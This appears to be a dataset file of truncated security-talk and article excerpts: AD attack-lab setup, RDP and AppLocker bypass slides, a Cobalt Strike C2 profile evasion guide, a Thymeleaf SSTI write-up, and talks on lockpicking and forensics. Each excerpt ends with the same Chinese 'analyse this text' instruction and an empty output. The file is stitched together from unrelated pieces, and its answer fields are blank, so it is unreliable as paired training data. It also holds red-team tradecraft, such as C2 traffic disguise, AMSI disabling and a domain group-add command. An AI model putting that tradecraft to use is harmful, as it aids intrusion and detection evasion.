右击Pony Ma属性->⾪隶属于->添加->HelpDesk->确定
或直接在域控服务器器下以administrator权限输⼊入命令
net group helpdesk PonyM /add /domain
我们的域管理理员Robin Li⽇日常使⽤用ADMINS-PC。
其中Helpdesk（Pony Ma是其中⼀一员）可以管理理ADMINS-PC的计算机。
搜索对应组
输⼊入域账号密码，确定
接着Jack Ma以及HelpDesk将被添加到他的个⼈人终端电脑（VICTIMS-PC）管理理员权限
本次实验⼯工具
1.
将在VICTIMS-PC电脑上安装以下⼯工具，⽂文件存储于C:\Tools
●
Mimikatz: https://github.com/gentilkiwi/mimikatz/releases
●
PowerSploit: https://github.com/PowerShellMaﬁa...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Bypass firewalls, application
white lists, secure remote
desktops in 20 seconds
Zoltan Balazs
DEF CON 22, 2014
Hungary
root@bt:~# whoami
Zoltán Balázs
root@bt:~# whoami
root@bt:~# whoami
AV testing
AV bypass
root@bt:~# whoami
OSCP: Occasional Satire Captain Punk
CISSP: Certified Interspecie-ial Sheep Shearing Professional
CPTS: Certified Pajama Toaster Specialist
MCP: Microsoft Certified Psychopath
OSWP: Official Sexiest Weasel Popstar
CHFI: Chronic Hopeless Flux Incompetent
I’m NOT a CEH
CyberLympics@2012 CTF
2nd runners up – gula.sh
Creator of the Zombie Browser Toolkit
https://github.com/Z6543/ZombieBrowserPack
I love hacking
How do you hack high security
systems?
How do you hack high security
systems when you are not Tom Cruise?
The mission
I’m a spy
I want access to a hardened secure RDP (remote
desktop) server
E.g. server contains confidential documents
I need persistent C&C access to the RDP server
To upload/download files
Interactive remote code execution
The solution (in an ideal world)
Infected
workstation
Secure remote
desktop server
1. Infect client’s
desktop
2. Steal RDP password
3. Connect to RDP
4. Drop malware
5. Command and Control
6. Profit
The challenges
RDP server is not reachable from the Internet
Directly …
Two factor authentication is used to access the RDP server
No access to the token seeds ;)
Drive mapping disabled – no direct file copy
Restricted hardware firewall
Allows workstation -> server TCP port 3389 IPv4 only
Application white list is used on the RDP server
M$ Applocker in my case with default policy
Firewall, port 3389 allowed only
Is this realistic?
Similar environment at a client
•Had no time to hack it
Infected
workstation
Secure remote
desktop server
Target
Company
The Internet
Attacker
Firewall, port 3389 allowed only
“In hacking, there is no such thing
as impossible.
Only things that are more
challenging.”
Already achieved
I have remote code execution with C&C on a user’s
workstation
I have access to a test RD...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

《软件调试》补编
- 1 –
Copyright © 2009 ADVDBG.ORG All Rights Reserved
《软件调试》补编
作者：张银奎
2009 年 1 月 12 日
《软件调试》补编
- 2 –
Copyright © 2009 ADVDBG.ORG All Rights Reserved
大多数程序员的技术水平不如黑客的主要原因是他们远远不如黑客
那样重视和擅于使用调试技术。
《软件调试》补编
- 3 –
Copyright © 2009 ADVDBG.ORG All Rights Reserved
前    言
总的来说，今天的软件很糟糕，而且一段时期内还会继续变得更糟。原因有
很多，关键的是错误观念大行其道，聊举数例。
“写代码很容易，不需要那么资深的人”，于是乎软件白领变蓝领了，蓝领
还是大材小用，“软件民工刚刚好，性价比最高。”
“我从来不调试我的程序，运行一下没有错误就可以了。”这是为什么使用
调试器来看时，很多软件有那么多明晃晃的问题。
“XXX 很快呀”，还可以用它来写操作系统呢？！当我启动一个应用程序需
要 5 秒钟以上时，看着硬盘的灯疯狂的闪动，我恨不得快点把它从我的系统中删
掉。
“抓 BUG 完全是程序员自己的事。”那么项目延迟了还是程序员自己的事
么？
“今天的硬盘空间大，CPU 速度快，内存条便宜，软件大一些，多用些资
源没关系。”
事实上，没有简单的软件，无论是上层的应用程序，还是下层的驱动或者系
统程序。
软件的特征决定了软件天生就需要像绣花那样精工细作。软件是给 CPU 来
运行的，让高速的 CPU 在软件编排的指令流上奔跑可谓是系千钧于一发。糟糕
的软件在浪费能源、也在浪费时间，如果套用鲁迅先生说的话，那么糟糕的软件
每天都在图财害命。
如何才能让软件变得很精细，准确无误呢？不仔细看一看可以做到么？
有些软件可以工作，但是有时会出问题，糟糕的是，出了问题后没有什么办
法来寻找原因。在 XXX 做了一年多的开发之后，对此深有体会，一次我向在
XXX 上工作多年的一个朋友询问：“在 XXX 上调试主要靠什么方法呢？”他的
回答颇令人回味：“靠想！”
“使劲想，然后加些 PRINT，逐步缩小范围…….”
多么好的程序员呀！
老雷
2009 年元月
《软件调试》补编
- 4 –
Copyright © 2009 ADVDBG.ORG All Rights Reserved
《软件调试》书友活动获奖名单
整理和发布这份补编的主要目的是赠送给参加“2008《软件调试》以书会友”
活动的朋友们。这次活动从 2008 年 6 月 1 日开始，截止日期为 2008 年 12 月 31
日。从 6 月 11 日 Neilshu 第一个参与，到 12 月 31 日的 23 点 47 分 Vito1997 参
与，共有 22 位朋友参加了这次活动，收到照片大约 100 幅。
参与这次活动的 22 位朋友是：
Casechen
Ccl
ckj1234
Coding
Dbgsun
Flyingdancex
grant_fei2003@hotmail.com
hnsy777
KernelPanic
Mabel
Mybios
Neilhsu
Nightxie
Pch
s5689412
shamexln
speedingboy
turboc
Vito1997
WANGyu
xszhou1997
yfliu
经过博文视点的周老师和《软件调试》这本书的编辑团队以及作者的认真评
比，获奖结果如下：
一等奖
一等奖
一等奖
一等奖一名
一名
一名
一名：
：
：
：Neilhsu
奖品为《奔腾 4 全录：IA32 处理器宗谱》（The Unabridged Pentium 4: IA32
Processor Genealogy）作者签名英文原版
二等奖
二等奖
二等奖
二等奖两名
两名
两名
两名：
：
：
：mybios 和
和
和
和 nightxie
奖品为《深入解析 Windows 操作系统 第 4 版》
三等奖
三等奖
三等奖
三等奖三名
三名
三名
三名：
：
：
：yfliu、
、
、
、WANGyu 和
和
和
和 shamexln
奖品为《Windows 用户态程序高效排错》
所有参加活动的朋友都获得纪念奖，奖品是电子版本的《<软件调试>补编》。
衷心感谢参加这次活动的所有朋友，愿我们的友谊永驻！
《软件调试》补编
- 5 –
Copyright © 2009 ADVDBG.ORG All Rights Reserved
目    录
补编内容 1 错误...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Protecting Data with Short-
Lived Encryption Keys and
Hardware Root of Trust
Dan Griffin
DefCon 2013
Time-Bound Keys
Announcements
• New tool: TimedKey.exe
• New whitepaper: Trusted Tamperproof
Time on Mobile Devices
• Check out http://www.jwsecure.com/dan
What does the NSA think?
• The NSA has been public about:
– Inevitability of mobile computing
– Need to support cloud-based services
– Even for use with secret data in the field
• What works for them can work for you
How does the cloud know…
• Who you are?
• Where you are?
• Is your computer acting on your behalf?
Device Integrity
• A device is silicon
• It might be pretending to be me
• It might be pretending to be you
• Define device integrity to be “truth telling”
– Is the device faithfully asserting delegation?
– Is it faithfully representing the user’s intent?
Current Technology Landscape
• Why are mobile devices less secure?
– Inconvenience of good passwords
– Current  antivirus is not up to the task
– User-owned (BYOD/consumerization trends)
• But mobile devices do have security features
– Screen lock
– Secure storage
– TrustZone & Trusted Execution Environment
– Trusted Platform Module
Mobile Vulnerabilities
• Rootkits got harder, bad apps got much
easier
• Mobile threat landscape:
– Easy to steal the device
– Easy to steal services
– Easy to install apps that steal data
– Even remote eavesdropping
What is needed to be secure?
• Encrypt user data
• Sandbox apps
• Secure, measured boot (TPM)
• Remote platform attestation
How to use a hardware root of trust
• Device receives TPM-bound token
– Sends token to relying party to prove status
– Token can carry decryption key as well
• If device is measured to be insecure
– The good guys win!
– Need to reset machine to clean it
What is Remote Attestation?
• Remote attestation is enabled by the TPM
– Can a server know the truth about the client?
– Use root of trust to measure boot chain and
configuration
• Remote attestation is a means to the truth
– The TPM ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

the Constructocat by Jason Costello - https://github.com/jsncostello
gitDigger
Creating useful wordlists from GitHub
By: WiK & Mubix
We suck at “picturing” things, so in order
for this presentation to be successful you
must all strip down to your underwear
CENSORED
The Researcher – WiK
@jaimefilson
We weren't the first to go digging…
Link to blog post
Only problem is you need to
find a service that is “friendly”
to “research”
02:09 < pasv> http://www.mavitunasecurity.com/blog/svn-digger-better-lists-for-forced-browsing/
02:11 <@WiK> nice find
02:11 < pasv> i wish i had thought of it
02:16 < mubix> Thats awesome
02:16 <@WiK> ive done similar stuff, now i have a font collection that 10gb of unique fonts
02:17 < mubix> wish they would add bitbucket, and github to their searches
02:19 <@WiK> ive looked at scrapin github.. theres no real good way to do it
The 30 minute
I CAN DO THIS!
Solution
but there is no “all repos” list…
Usernames & their repositories
Import os
Import urllib
Import urllib2
Import sqlite3
Enter Python WGET
Got it… now what?
Wordlists
Repositories
Lots of manual review
and headaches
But finally resulted in
os.walk()
sort
grep
awk
Only the “TOP” repositories
17 hours
of manual kung-fu to process into
wordlists
Betterwalk.walk() vs os.walk()
Link to project
Initial Thoughts
The Good News
I got the wordlists that I
wanted and they were useful
The Bad News
Only the “TOP” repositories
Sqlite3 transactions were slow
17 hours of manual labor sucks
My HDD was now full
Lets Get Serious
(well, kinda...)
FIRST PROBLEM: STORAGE
Storage Options
Pros
   Cheap ($99 USD a year)
   Built-in “indexing”
Cons
    Windows Only
    Crashes OFTEN
    Encryption == SLOW
Pros
   Central, local, fast storage
Cons
    Expensive
Remember… I’m already at 3 TB…
Solution
SECOND PROBLEM: PYTHON WGET
GITHUB API
THIRD PROBLEM: SQLITE SUCKS
Solution
PUTTING IT ALL TOGETHER
Upgrades
Added 2 modes
Downloader
Processor
Added Threading
Replaced sqlite3 with mysql
Upgrades
●
Pas...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

使用CobaltStrike从学习C2profile开始
0x00 前言
我一直是CS的忠实粉丝，随着CS4.4的发布，增加了反射DLL的自定义功能，让CS越来越高度可定制化
了。完全没有必要因为防御方的各种查杀CS而放弃CS，转而选择其他C2，或者自己编写C2。当然我也
认可在一次高对抗的红队行动中，前锋马、潜伏马是必不可少的，多备几套C2方案也没有问题。
如果你在行动中，在流量层被查杀，那么你一定是没有用好C2profile。我不打算一一解释C2profile的参
数的意义，因为官方文档很详细了https://www.cobaltstrike.com/help-malleable-c2，也可以阅读http
s://github.com/Tylous/SourcePoint#global-options。
这个SourcePoint是近期出现的适应最新版本的C2profile自动生成工具。上一个类似工具是：https://git
hub.com/FortyNorthSecurity/C2concealer，但是现在已经落后了。推荐使用SourcePoint。
0x01 SourcePoint
这个工具目前还缺少DNS相关的C2profile，不过作者已经增加到To Do List。接下来我们使用一下这个
工具，这个工具是用GO编写的，作者也发布了编译好的版本，因此使用非常容易。我们使用最简参数，
也就是必须填写的参数：
-Outfile 输出文件名
-Host TeamServer的域名或IP
-Injector 进程注入使用的函数
我们来看下生成的C2profile怎么样：
图中有一个[!]，就是默认是开启了分阶段的，这个开启会导致任何人可以下载你的payload，具体
看《关于CobaltStrike的Stager被扫问题》
配置中缺少了 set sample_name "myc2profile"; 还是要给c2配置取个名字，启动Listener的时候
好选择。
set sleeptime "40000"; 默认生成的这个有点大，默认是60000，也就是60秒，这儿是40秒，每
次我都感觉等的着急，我一般设置在10秒，也就是10000。然后抖动值为50，也就是： set
jitter    "50"; ，也就是说回连在5到10秒之间抖动。当然在不操作的时候，还是要设置回连间
隔长一点，我一般设置15到30分钟之间。
DNS相关配置是被注释掉的，需要我们手动配置
SourcePoint.exe -Outfile my.c2profile -Host 127.0.0.1 -Injector
NtMapViewOfSection
dns-beacon {
    set dns_idle             "8.8.8.4";
    set dns_max_txt          "196"; # 这个需要注意，需要被4整除的数字
Produced by AttackTeamFamily - Author: L.N. - Date: 2021-08-19
No. 1 / 5 - Welcome to www.red-team.cn
配置中transform-x86和transform-x64，把大部分关键字抹除掉了，这个很多公开的配置都没
有，点赞。
set startrwx "true"; 这个配置中是true，改为false，还是不要用可读可写可执行来分配内存。
set amsi_disable "true";  这个CS自带AMSI绕过技术，开启需要注意，毕竟CS是大众工具，
CS自带的方法，很有可能被特征，这也是为什么以前好用的execute-assembly，有时不好用
了，.net4.8加入了AMSI的接口，因此如果你在有.net4.8以上的机器上，使用要慎重。目前使用比
较多的是BOF，或者自己byapss amsi。
set uri "hapvwW2LESRmSSSc8oLrQrS4M ";  默认的这个url是有问题的，需要以 / 开始，可以使
用/api/v1/auth这样比较常见的url。
证书使用的是自签名证书，最好还是搞个免费证书。
整体看，这个工具还是不错的，关键是它关于HTTP(S)数据包伪造，除了提供了6个模板：
Microsoft Window's Update Communication
Slack's Message Communication
Gotomeeting's Active Meeting Communication
Microsoft Outlook's Email Communication
Cloudfront.net
AzureEdge.net
还可以自...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

“We don’t need no stinkin’ badges!”
Shawn Merdinger
security researcher
DEFCON 18
Hacking electronic door access controllers
Outline
• EDAC technology
– Trends, landscape
– Vendors
– Architecture
• EDAC real-world analysis
– S2 Security NetBox
• Research, exposure, vulnerabilities, attacks
• Countermeasures & recommendations
Learning outcomes
• Awareness of security issues in EDAC systems
• Major players, vendors, resellers
• Pen-testing knowledge
• Research and testing methods
Q .  About security of buildings around town….what was your response?
ATTY GEN. RENO:   “Let's do something about it.”
Q.   Is this a good thing that has happened?
ATTY GEN. RENO:   I think any time you expose vulnerabilities, it's a good thing.
Department of Justice
Weekly Media Briefing, 25 May 2000
“When hackers put viruses on your home computer it's a nuisance; when they unlock
doors at your facility it's a nightmare.”
John L. Moss, S2 Security CEO
STAD, Volume14, Issue 1.  1 January, 2004
Choice quotations
EDAC Technology Overview
• Trend is towards IP from proprietary solution
– Convergence of IP, Video
– Adding other building systems (HVAC, elevators, alarms)
– Cost savings, integration, increased capabilities
• Most controllers use embedded Linux
• Wide range of vendors in EDAC space
S2 Security
Honeywell
HID Global Vertx
Ingersoll-Rand
Bosch Security
Reach Systems
Cisco Systems (Richards Zeta)
Brivo
DSX Access
RS2 Technologies
Synergistics
EDAC Deployment
• Often you’ll see
– Managed by building facilities people
– Stuck in a closet and forgotten
– Long lifecycles of 5-10 years
• Distanced from IT Security
– Physical security is not your domain.  It’s ours.
– Patching, upgrades, maintenance.  What?  Huh?
– Policies regarding passwords, logging don’t apply
– 3rd party local service contractor adds doors,
hardware configuration
EDAC Architecture
S2 Security NetBox
• Built by S2 Security
• 9000+ systems installed worldwide
– Schools, hospitals, businesses, LEA facilities, etc.
• S...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

PentesterAcademy.com
©PentesterAcademy.com
VoIPShark: Open Source VoIP Analysis
Platform
Nishant Sharma
Jeswin Mathai
Ashish Bhangale
PentesterAcademy.com & AttackDefense.com
PentesterAcademy.com
©PentesterAcademy.com
PentesterAcademy.com
About Us
Me, Nishant Sharma
• R&D Manager and Lead Trainer, Pentester Academy
• Firmware developer, Enterprise WiFi APs and WIPS Sensors
• Masters degree in Infosec
• Published research at Blackhat US/Asia, DEF CON USA and other venues
Co-authors
• Ashish Bhangale, Sr. Security Researcher
• Jeswin Mathai, Security Researcher
PentesterAcademy.com
©PentesterAcademy.com
PentesterAcademy.com
PentesterAcademy.com
PentesterAcademy.com
©PentesterAcademy.com
PentesterAcademy.com
AttackDefense.com
PentesterAcademy.com
©PentesterAcademy.com
PentesterAcademy.com
Talk Overview
•
VoIP Basics
–
SIP, RTP
–
Secure: TLS, SRTP
•
Recovering/Decrypting VoIP Calls
•
Current open source tools and issues
•
VoIPShark
–
Architecture and Internals
–
Analyzing VoIP Traffic
–
Recovering Calls
–
Detecting Attacks Passively
–
Demo
PentesterAcademy.com
©PentesterAcademy.com
PentesterAcademy.com
VoIP Telephony
•
Signalling + Media
PentesterAcademy.com
©PentesterAcademy.com
PentesterAcademy.com
Signalling Protocols
SIP (Session Initiation Protocol)
•
Developed by the IETF
•
Replacement for the desk phones and PSTN (Public Switched Telephone Network)
H.323
•
Created by the ITU-T
•
Focused on videoconferencing but also used for voice calls
SCCP (Skinny)
•
Cisco proprietary protocol used for line-side control of phones
PentesterAcademy.com
©PentesterAcademy.com
PentesterAcademy.com
Session Initiation Protocol
•
Text-based protocol
•
Applications
–
Calls (audio, video) using other media steams like RTP
–
Text messages using SIP “Message” method
•
Works with other protocols
•
Session Description Protocol (SDP) to define with media negotiation and setup
•
Can operate over TCP, UDP or SCTP (Stream Control Transmission Protocol)
•
Security is provided by TLS (Transpo...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

技
术
标
准
研发运营一体化能力成熟度模型
第 3 部分：持续交付过程
The DevOps capability maturity model
Part 3: Continuous delivery process
（征求意见稿）
2017 年 11 月 18 日
YDB XXXXX—XXXX
I
目  次
目次................................................................................... I
前言.................................................................. 错误! 未定义书签。
研发运营一体化......................................................................... 1
1 范围 ............................................................................... 1
2 规范性引用文件 ..................................................................... 1
3 术语 ............................................................................... 1
下列术语和定义适用于本文件。 ......................................................... 1
3.1 AB 测试 ab test .............................................................. 1
3.2 制品 artifact ............................................................... 1
3.3 代码复杂度 code complexity .................................................. 1
3.4 部署流水线 deployment pipeline .............................................. 1
4 缩略语 ............................................................................. 2
5 综述 ............................................................................... 2
6 配置管理 ........................................................................... 2
6.1 版本控制 .................................................................... 2
6.2 版本可追溯性 ................................................................ 3
7 构建与持续集成 ..................................................................... 4
7.1 构建实践 .................................................................... 4
7.2 持续集成 .................................................................... 5
8 测试管理 ........................................................................... 5
8.1 测试分层策略 ................................................................ 6
8.2 代码质量管理 ................................................................ 6
8.3 自动化...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Evolution of iOS Data Protection and
iPhone Forensics:
from iPhone OS to iOS 5
Andrey Belenko & Dmitry Sklyarov
Elcomsoft Co. Ltd.
1
Agenda
• Basics
• iOS Security before iOS 4
• iOS 4 Data Protection
• iOS 5 Data Protection Changes
• Summary
2
Forensics 101
Acquisition ➜ Analysis ➜ Reporting
GOALS:
1.
  Assuming
  physical
  access
  to
  the
  device
  extract
  as
  much
informa>on
  as
  prac>cal
2.
  Leave
  as
  li@le
  traces/ar>facts
  as
  prac>cal
3
iOS: Why Even Bother?
• More than 5 years on the market
• 360+ million iOS devices sold worldwide
• 6 iPhones, 4 iPods, 3 iPads
• “Smart devices” – they do carry a lot of sensitive data
• Corporate deployments are increasing
There was, is, and will be a real need in iPhone
Forensics
4
iPhone Forensics 101
• Passcode
–Prevents unauthorized access to the device
–Bypassing passcode is usually enough
• Keychain
–System-wide storage for sensitive data
–Encrypted
• Storage encryption
5
iPhone Forensics 101
• Logical: iPhone Backup
–Ask device to produce a backup
–Device must be unlocked
–Device may produce encrypted backup
–Limited amount of information
–Get backup from iCloud
• Physical: ﬁlesystem acquisition
–Boot-time exploit to run unsigned code
–Device lock state isn’t relevant
–Can get all information from the device
• Physical+: ﬂash memory acquisition
–Same requirements as for physical
–Also allows recovery of deleted ﬁles!
6
The Inception
Runs iPhone OS (up to 3.1.3)
•Based on Mac OS X
Has a crypto co-processor
06/29/2007
iPhone
7
Hardware Keys
Two embedded AES keys:
• GID – shared by all devices of
same family
• UID – unique for each and every
device
No known ways to extract
GID/UID keys
06/29/2007
iPhone
8
Device Keys
•To avoid unnecessary exposure, usage of UID/
GID keys is limited
•Device keys are computed from hardware keys
during boot:
– 0x835 = AES_Enc (UID, 01010101010101010101010101010101);
– 0x836 = AES_Enc (UID, 00E5A0E6526FAE66C5C1C6D4F16D6180);
– 0x837 = AES_Enc (GID, 345A...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Letting the Air Out of
Tire Pressure
Monitoring Systems
Mike Metzger - Flexible Creations
mike@ﬂexiblecreations.com
1
History
• Porsche - First implemented on the 959 in
1986 (Thanks Wikipedia)
• A bunch of various styles used in luxury
cars
• TREAD act - Basically, the Firestone / Ford
Explorer problems in the 90’s instigated
legislation mandating use
2
TPMS Types
• Direct - This is used in most vehicles
• Battery / Battery-less
• Indirect - Uses ABS and various calculations
instead of a sensor
• Focus on battery-powered Direct TPMS
3
Direct TPMS
Description
• Typically 4 sensors, possibly 5 w/ spare,
mounted on wheel (behind the valve stem)
• Receiver is built into car, often collocated
with the keyless entry components
• Car ECU / PCM processes info - behaves
differently depending on car
4
 Annoying TPMS Light
5
Sensor Description
• Most are a combination of an ASIC (ie, a
microcontroller - Atmel / Freescale /
Microchip, etc), a pressure sensor, and some
RF components
• Typically part of the valve stem and sits in a
recessed area of the rim, inside the tire
• RF transmits in 315MHz band (US) or
433MHz (EU)
6
Sensor Description
• Can be woken up by:
• Rotation
• Low frequency transmission (125kHz -
modulated or continuous)
• Magnets
• Transmission system varies by manufacturer but is
typically once per minute unless there’s a problem
(meaning, signiﬁcant pressure variation)
• Transmissions can overlap, requiring retransmits
7
Sensor Internals
• Siemens VDO (From a Mazda 3, 6, or RX-8)
• Uses an ATMEL AT092 chip (4-bit microprocessor)
• A MEMS style pressure sensor
• Simple RF transmission components
• Battery (CR2302)
• Assorted passive components
8
Before...
9
During...
10
After...
11
And then...
• A discovery...
• http://www.fcc.gov/oet/ea/fccid/
• Enter in the Grantee & Product code
12
FCC Testing
Documents
13
Including...
• Spectrum Analyzer output
• General description of operation
• Often a build of materials
• etc...
• But how to ﬁnd all...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

“Being in the Know”
An overview to
Scanning modern radio systems
Presented by:
Brett & Taylor
Defcon 15
The Basics
• Simplex
– One frequency shared by multiple stations
– Limited coverage
• Tones
– Continuous Tone Coded Squelch System
(CTCSS)
• Private Line (PL)
– Digital Coded Squelch (DCS)
• Repeaters
– Two frequencies (input & output)
– Increased Coverage
So you want to listen to stuff
• Back in the day it was easy…
• You just dialed in the frequency and
you were good to go.
– 154.905 Utah Highway Patrol SLC
– 155.505 Statewide
– 154.2350 SLCO Fire Dispatch
• Not quite as easy these days…
– Trunked, Digital, Encrypted, etc
What is Trunked Radio
• Users are grouped by Talk Group
rather than Frequency
• Radios monitor a central channel called
the Control Channel
• When a user keys the radio the control
channel tells other what frequency to
move to
• When done, users return to the control
channel and wait for the next call
System Types
• Ericsson (EDACS)
– Enhanced Digital Access Communication System
• E.F Johnson (LTR)
– Logical Trunked Radio
• Motorola
– Probably the most common type of system
Ericsson
Enhanced Digital Access
Communication System (EDACS)
EDACS - Overview
• Central Control Channel
• Each frequency is assigned an LCN
– Logical Channel Number
• Controller tells radios what LCN to
switch to when radio traffic is present
• Frequencies must be entered in LCN
order to scan properly
E.F Johnson
Logical Trunked Radio (LTR)
This is what The Riviera Runs
LTR - Overview
• Decentralized Model
• Uses sub-audible data on each
frequency to control system
• Each frequency is assigned an LCN
– Logical Channel Number
• Users are assigned to a specific LCN
and only move if it is busy
• Frequencies must be entered in LCN
order to scan properly
Motorola
SmartNet & SmartZone
SmartNet (Site)
(((  )))
(((  )))
SmartNet (Simulcast)
(((   )))
(((   )))
(((  )))
(((  )))
Site 1
Site 2
SmartZone
(((  )))
(((   )))
(((   )))
(((   )))
(((   )))
Site 1
Site 2
Site...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

前段时间补上了迟迟没有写的 ⽂件包含漏洞原理与实际案例介绍⼀⽂，在其中就提到了
Thymeleaf SSTI 漏洞，昨天在赛博群⾥三梦师傅扔了⼀个随⼿挖的 CVE——Thymeleaf SSTI
Bypass，想着之前项⽬的代码还没清理，⼀起分析来看看
Thymeleaf 是与 java 配合使⽤的⼀款服务端模板引擎，也是 Spring 官⽅⽀持的⼀款服务端模板
引擎。⽽ SSTI 最初是由 James Kettle 提出研究，后来 Emilio Pinna 对他的研究进⾏了补充，然
⽽，这些作者都没有对 Thymeleaf 进⾏ SSTI 漏洞挖掘，因此后来 Aleksei Tiurin 在 ACUNETIX
的官⽅博客上发表了关于 Thymeleaf SSTI 的⽂章。
为了更⽅便读者理解这个 Bypass，因此在这⾥赘述⼀遍⼀些基础性的内容，了解的可以直接跳到
0x03 的内容。
Thymeleaf 表达式可以有以下类型：
${...} ：变量表达式 —— 通常在实际应⽤，⼀般是OGNL表达式或者是 Spring EL，如果
集成了Spring的话，可以在上下⽂变量（context variables ）中执⾏
*{...} : 选择表达式 —— 类似于变量表达式，区别在于选择表达式是在当前选择的对象⽽
不是整个上下⽂变量映射上执⾏。
#{...} : Message (i18n) 表达式 —— 允许从外部源（⽐如 .properties ⽂件）检索特定
于语⾔环境的消息
@{...} : 链接 (URL) 表达式 —— ⼀般⽤在应⽤程序中设置正确的 URL/路径（URL重
写）。
~{...} ：⽚段表达式 —— Thymeleaf 3.x 版本新增的内容，分段段表达式是⼀种表示标
记⽚段并将其移动到模板周围的简单⽅法。 正是由于这些表达式，⽚段可以被复制，或者作
为参数传递给其他模板等等
实际上，Thymeleaf 出现 SSTI 问题的主要原因也正是因为这个⽚段表达式，我们知道⽚段表达式
语法如下：
1. ~{templatename::selector} ，会在 /WEB-INF/templates/ ⽬录下寻找名为
templatename 的模版中定义的 fragment
如有⼀个 html ⽂件的代码如下：
001 写在前⾯
002 Thymeleaf SSTI
然后在另⼀template中可以通过⽚段表达式引⽤该⽚段：
th:insert 和 th:replace: 插⼊⽚段是⽐较常⻅的⽤法
2. ~{templatename} ，引⽤整个 templatename 模版⽂件作为 fragment
这个也⽐较好理解，不做详细举例
3. ~{::selector}  或 ~{this::selector} ，引⽤来⾃同⼀模版⽂件名为 selector 的
fragmnt
在这⾥， selector 可以是通过 th:fragment 定义的⽚段，也可以是类选择器、ID选择器等。
4. 当 ~{} ⽚段表达式中出现 :: ，那么 :: 后需要有值（也就是 selector ）
在了解这些内容后，我们就可以正式来看这个漏洞是怎么⼀回事了。
⾸先，同样的，我们拿⼀个常⻅的例⼦：
这是 SpringBoot 项⽬中某个控制器的部分代码⽚段，thymeleaf 的⽬录如下：
<!DOCTYPE html>
<html
th="http://www.thymeleaf.org">
<body> <div
fragment="banquan"> &copy; 2021 ThreeDream yyds</div>
</body>
</html>
HTML
xmlns:
th:
<div
insert="~{footer :: banquan}"></div>
HTML
th:
@GetMapping("/admin")
public String path(@RequestParam String language)
{
    return "language/" + language + "/admin";
}
JAVA
从代码逻辑中基本上可以判断，这实际上是⼀个语⾔界⾯选择的功能，如果是中⽂阅读习惯者，那
么会令 language 参数为 cn ，如果是英⽂阅读习惯者，那么会令 language 参数为 en ，代码逻辑
本身实际上是没有什么问题的，但是这⾥采⽤的是 thymeleaf 模板，就出现了问题。
在springboot + thymeleaf 中，如果视图名可控，就会导致漏洞的产⽣。其主要原因就是在控制
器中执⾏ return 后，Spring 会⾃动调度 ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Spectra
New Wireless Escalation Targets
Jiska Classen
Secure Mobile Networking Lab - SEEMOO
Technische Universität Darmstadt, Germany
Francesco Gringoli
Dept. of Information Engineering
University of Brescia, Italy
2
Motivation
3
When you got Bluetooth on-chip RCE...
35C3 Talk: https://media.ccc.de/v/35c3-9498-dissecting_broadcom_bluetooth, Frankenstein Fuzzer: https://github.com/seemoo-lab/frankenstein
4
...but Wi-Fi has more privileges.
“But it’s connected via UART!”
“Can you pop calc?”
5
Let’s break inter-chip separation!
6
Spectra: SpeculativeSpectrum Transmission
●
Wi-Fi, Bluetooth, and even LTE share frequencies in the
2.4 GHz spectrum.
●
They cause interference in small devices like smartphones.
●
Wireless combo chip performance optimization:
enhanced coexistence mechanisms.
●
Observable side effects of transmission delays and
coordination lead to side channels.
●
Attackers require code execution privileges,
but they can escalate between wireless cores
without further checks by the operating system.
SPECTRA
7
Wireless Architecture (iOS)
8
Spectra Impact
1.
Denial of Service
One wireless core denies transmission
to the other core.
2.
Information Disclosure
One wireless core can infer data or
actions of the other core.
3.
Code Execution
One wireless core can execute code
within the other core.
9
Broadcom
Coexistence
(and Cypress)
10
Broadcom: ~ 1 Billion Devices
●
Apple
○
All iPhones, MacBooks, iMacs, older Apple Watches
●
Samsung
○
Samsung Galaxy S and Note series in Europe
●
Google
○
Only older devices, e.g., Nexus 5/6P
●
Raspberry Pi
●
IoT devices
○
Fitbit Ionic
...and no firmware checks. A perfect prototyping platform \o/
11
Coexistence: Escalation within the chip
From the BCM4339 datasheet (Google Nexus 5).
12
AN214852 - Collaborative Coexistence Interface Between Cypress-to-Cypress Solutions and Cypress-to-third-party Chips
By the way, throughput really sucks with ECI disabled. You cannot stream a
video with Wi-Fi and listen to it with your Bluet...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Introduction to Lockpicking
Alek Amrani
DEF CON 17
About Me
● Longhorn Lockpicking
Club
● UT Austin ISO
● CS Undergrad
Format
● First year with Thursday Events
● Long time slot
– People most likely will come and go
– Split time into three portions
● Originally intended to be “hands on” workshop-esc
– “Lost” bag
● Picks
● Locks
● LSI / LLC Event
Format
● Adventure ensues:
● WTF can I do besides bore people for 3 hours
– Teach Lockpicking theory
● Helps Lockpicking Village ?appreciation?
– Entertain?
● Build a Demo Lock
– Materials scrounged up from walking distance
– Started building at 11:30 AM Yesterday (WED 30JUL09)
– Looks utterly disgusting, but still functional-ish
● Redo Powerpoint
Prelim Q & A
● Yes?
● No?
● READY GO
Lockpicking Background
● Why Lockpicking?
● Why “hacking”?
– Same reasons, more or less
● Groups
● Locksport International (LSI)
● The Open Organization Of Lockpickers (TOOOL)
● Longhorn Lockpicking Club (LLC)
● Fraternal Organization Of Locksport (FOOLs)
● Others exist
Legality
● Check local laws
● In general, but not always, it is usually ok to pick
your own locks, or locks you have explicit
permission to pick
● It is not always ok to Cary lockpicks
– EX: NYC and Washington DC
● I have no idea what the laws in your particular
location are.
Locks
● Various ways to group
● Security Level
– Pretty arbitrary grouping
● Operation
– Electronic
– Mechanical
– Electromechanical
● Housing
– Mostly obvious
Pin Tumbler
● Focus will be mostly on these locks
● How they work
● How we pick them open
Pin Tumbler Locks
● Housing
– Green
● Plug
– Yellow
● Driver Pins
– Blue
● Key Pins
– Red
● Shear Line
– The point where the plug meets the housing
Image from wikipedia.org
Pin Tumbler Locks
● Peaks and
Valleys on Key
raise pins
● Correct key
